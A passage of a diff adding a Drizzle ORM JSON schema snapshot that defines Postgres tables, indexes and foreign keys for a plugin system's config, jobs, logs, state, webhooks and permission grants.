"uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "config_json": { + "name": "config_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_config_plugin_company_idx": { + "name": "plugin_config_plugin_company_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_config_plugin_id_plugins_id_fk": { + "name": "plugin_config_plugin_id_plugins_id_fk", + "tableFrom": "plugin_config", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_config_company_id_companies_id_fk": { + "name": "plugin_config_company_id_companies_id_fk", + "tableFrom": "plugin_config", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_database_namespaces": { + "name": "plugin_database_namespaces", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "plugin_key": { + "name": "plugin_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "namespace_name": { + "name": "namespace_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "namespace_mode": { + "name": "namespace_mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'schema'" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_database_namespaces_plugin_idx": { + "name": "plugin_database_namespaces_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_database_namespaces_namespace_idx": { + "name": "plugin_database_namespaces_namespace_idx", + "columns": [ + { + "expression": "namespace_name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_database_namespaces_status_idx": { + "name": "plugin_database_namespaces_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_database_namespaces_plugin_id_plugins_id_fk": { + "name": "plugin_database_namespaces_plugin_id_plugins_id_fk", + "tableFrom": "plugin_database_namespaces", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_entities": { + "name": "plugin_entities", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "entity_type": { + "name": "entity_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_kind": { + "name": "scope_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_id": { + "name": "scope_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "external_id": { + "name": "external_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "data": { + "name": "data", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_entities_plugin_idx": { + "name": "plugin_entities_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_entities_company_idx": { + "name": "plugin_entities_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_entities_type_idx": { + "name": "plugin_entities_type_idx", + "columns": [ + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_entities_scope_idx": { + "name": "plugin_entities_scope_idx", + "columns": [ + { + "expression": "scope_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_entities_plugin_id_plugins_id_fk": { + "name": "plugin_entities_plugin_id_plugins_id_fk", + "tableFrom": "plugin_entities", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_entities_company_id_companies_id_fk": { + "name": "plugin_entities_company_id_companies_id_fk", + "tableFrom": "plugin_entities", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "plugin_entities_external_idx": { + "name": "plugin_entities_external_idx", + "columns": [ + "company_id", + "plugin_id", + "entity_type", + "external_id" + ], + "nullsNotDistinct": true + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_job_runs": { + "name": "plugin_job_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "job_id": { + "name": "job_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "trigger": { + "name": "trigger", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "duration_ms": { + "name": "duration_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "logs": { + "name": "logs", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_job_runs_job_idx": { + "name": "plugin_job_runs_job_idx", + "columns": [ + { + "expression": "job_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_job_runs_plugin_idx": { + "name": "plugin_job_runs_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_job_runs_company_idx": { + "name": "plugin_job_runs_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_job_runs_status_idx": { + "name": "plugin_job_runs_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_job_runs_job_id_plugin_jobs_id_fk": { + "name": "plugin_job_runs_job_id_plugin_jobs_id_fk", + "tableFrom": "plugin_job_runs", + "columnsFrom": [ + "job_id" + ], + "tableTo": "plugin_jobs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_job_runs_plugin_id_plugins_id_fk": { + "name": "plugin_job_runs_plugin_id_plugins_id_fk", + "tableFrom": "plugin_job_runs", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_job_runs_company_id_companies_id_fk": { + "name": "plugin_job_runs_company_id_companies_id_fk", + "tableFrom": "plugin_job_runs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_jobs": { + "name": "plugin_jobs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "job_key": { + "name": "job_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "schedule": { + "name": "schedule", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "last_run_at": { + "name": "last_run_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "next_run_at": { + "name": "next_run_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_jobs_plugin_idx": { + "name": "plugin_jobs_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_jobs_next_run_idx": { + "name": "plugin_jobs_next_run_idx", + "columns": [ + { + "expression": "next_run_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_jobs_unique_idx": { + "name": "plugin_jobs_unique_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "job_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_jobs_plugin_id_plugins_id_fk": { + "name": "plugin_jobs_plugin_id_plugins_id_fk", + "tableFrom": "plugin_jobs", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_logs": { + "name": "plugin_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "level": { + "name": "level", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'info'" + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "meta": { + "name": "meta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_logs_plugin_time_idx": { + "name": "plugin_logs_plugin_time_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_logs_company_idx": { + "name": "plugin_logs_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_logs_level_idx": { + "name": "plugin_logs_level_idx", + "columns": [ + { + "expression": "level", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_logs_plugin_id_plugins_id_fk": { + "name": "plugin_logs_plugin_id_plugins_id_fk", + "tableFrom": "plugin_logs", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_logs_company_id_companies_id_fk": { + "name": "plugin_logs_company_id_companies_id_fk", + "tableFrom": "plugin_logs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_managed_resources": { + "name": "plugin_managed_resources", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "plugin_key": { + "name": "plugin_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_kind": { + "name": "resource_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_key": { + "name": "resource_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_id": { + "name": "resource_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "defaults_json": { + "name": "defaults_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_managed_resources_company_idx": { + "name": "plugin_managed_resources_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_managed_resources_plugin_idx": { + "name": "plugin_managed_resources_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_managed_resources_resource_idx": { + "name": "plugin_managed_resources_resource_idx", + "columns": [ + { + "expression": "resource_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_managed_resources_company_plugin_resource_uq": { + "name": "plugin_managed_resources_company_plugin_resource_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_managed_resources_company_id_companies_id_fk": { + "name": "plugin_managed_resources_company_id_companies_id_fk", + "tableFrom": "plugin_managed_resources", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_managed_resources_plugin_id_plugins_id_fk": { + "name": "plugin_managed_resources_plugin_id_plugins_id_fk", + "tableFrom": "plugin_managed_resources", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_migrations": { + "name": "plugin_migrations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "plugin_key": { + "name": "plugin_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "namespace_name": { + "name": "namespace_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "migration_key": { + "name": "migration_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "checksum": { + "name": "checksum", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "plugin_version": { + "name": "plugin_version", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "applied_at": { + "name": "applied_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "plugin_migrations_plugin_key_idx": { + "name": "plugin_migrations_plugin_key_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "migration_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_migrations_plugin_idx": { + "name": "plugin_migrations_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_migrations_status_idx": { + "name": "plugin_migrations_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_migrations_plugin_id_plugins_id_fk": { + "name": "plugin_migrations_plugin_id_plugins_id_fk", + "tableFrom": "plugin_migrations", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_state": { + "name": "plugin_state", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "scope_kind": { + "name": "scope_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_id": { + "name": "scope_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "namespace": { + "name": "namespace", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'default'" + }, + "state_key": { + "name": "state_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "value_json": { + "name": "value_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_state_plugin_scope_idx": { + "name": "plugin_state_plugin_scope_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_state_plugin_id_plugins_id_fk": { + "name": "plugin_state_plugin_id_plugins_id_fk", + "tableFrom": "plugin_state", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "plugin_state_unique_entry_idx": { + "name": "plugin_state_unique_entry_idx", + "columns": [ + "plugin_id", + "scope_kind", + "scope_id", + "namespace", + "state_key" + ], + "nullsNotDistinct": true + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugin_webhook_deliveries": { + "name": "plugin_webhook_deliveries", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "webhook_key": { + "name": "webhook_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "external_id": { + "name": "external_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "duration_ms": { + "name": "duration_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "headers": { + "name": "headers", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugin_webhook_deliveries_plugin_idx": { + "name": "plugin_webhook_deliveries_plugin_idx", + "columns": [ + { + "expression": "plugin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_webhook_deliveries_company_idx": { + "name": "plugin_webhook_deliveries_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_webhook_deliveries_status_idx": { + "name": "plugin_webhook_deliveries_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugin_webhook_deliveries_key_idx": { + "name": "plugin_webhook_deliveries_key_idx", + "columns": [ + { + "expression": "webhook_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "plugin_webhook_deliveries_plugin_id_plugins_id_fk": { + "name": "plugin_webhook_deliveries_plugin_id_plugins_id_fk", + "tableFrom": "plugin_webhook_deliveries", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "plugin_webhook_deliveries_company_id_companies_id_fk": { + "name": "plugin_webhook_deliveries_company_id_companies_id_fk", + "tableFrom": "plugin_webhook_deliveries", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.plugins": { + "name": "plugins", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "plugin_key": { + "name": "plugin_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "package_name": { + "name": "package_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "version": { + "name": "version", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "api_version": { + "name": "api_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "categories": { + "name": "categories", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "manifest_json": { + "name": "manifest_json", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'installed'" + }, + "install_order": { + "name": "install_order", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "package_path": { + "name": "package_path", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "installed_at": { + "name": "installed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "plugins_plugin_key_idx": { + "name": "plugins_plugin_key_idx", + "columns": [ + { + "expression": "plugin_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "plugins_status_idx": { + "name": "plugins_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.principal_permission_grants": { + "name": "principal_permission_grants", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "principal_type": { + "name": "principal_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "principal_id": { + "name": "principal_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "permission_key": { + "name": "permission_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "granted_by_user_id": { + "name": "granted_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "principal_permission_grants_unique_idx": { + "name": "principal_permission_grants_unique_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "principal_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "principal_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "permission_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "principal_permission_grants_company_permission_idx": { + "name": "principal_permission_grants_company_permission_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "permission_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "principal_permission_grants_company_id_companies_id_fk": { + "name": "principal_permission_grants_company_id_companies_id_fk", + "tableFrom": "principal_permission_grants", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no 